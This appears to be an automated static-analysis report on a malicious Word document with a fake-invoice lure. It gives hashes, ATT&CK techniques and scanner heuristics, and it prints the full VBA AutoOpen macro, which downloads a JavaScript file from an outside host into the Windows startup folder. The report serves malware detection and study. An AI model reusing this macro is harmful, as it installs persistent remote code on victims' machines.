Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8e76efb8ca44047f…

MALICIOUS

Office (OLE)

41.5 KB Created: 2020-03-04 03:42:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 3e524f5d9de76615f878bfbe9f9f4cac SHA-1: 7a3b9b2d7a0f019dc9c9734da57aef1163f2f74e SHA-256: 8e76efb8ca44047f31a9933cb281a119905ec7e390b774ac2493d5c29bbdcbe5
418 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Word document containing VBA macros. The AutoOpen macro uses CreateObject to instantiate 'wscript.shell' and 'scripting.filesystemobject'. It then downloads a JavaScript file from 'https://immortalshield.com/read.php' and saves it to the startup folder as 'c2b72f86b8ca51642c4a902887830d3e.js'. The document body presents a fake invoice, instructing the user to 'Enable Content' to view it, which is a common lure for macro-enabled malware.

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-7620135-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7620135-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set shellobj = CreateObject("wscript.shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write objhttpinvoice.responsebody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set shellobj = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://immortalshield.com/read.php Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1077 bytes
SHA-256: f912d3e56a86927006ee6f32e3838ad346113cad41f47701b8b47c4bedf56805
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

Set shellobj = CreateObject("wscript.shell")
Set objfsoinvoice = CreateObject("scripting.filesystemobject")
invoice = shellobj.specialfolders("startup") & "\"
strlink = "https://immortalshield.com/read.php"
strsaveto = invoice & "c2b72f86b8ca51642c4a902887830d3e.js"
Set objhttpinvoice = CreateObject("msxml2.xmlhttp")
objhttpinvoice.Open "get", strlink, False
objhttpinvoice.send

If objfsoinvoice.fileexists(strsaveto) Then
   Set objhttpinvoice = Nothing
Else
Dim objstreaminvoice
Set objstreaminvoice = CreateObject("adodb.stream")
With objstreaminvoice
    .Type = 1
    .Open
    .write objhttpinvoice.responsebody
    .savetofile strsaveto
    .Close
End With
Set objstreaminvoice = Nothing
End If

End Sub

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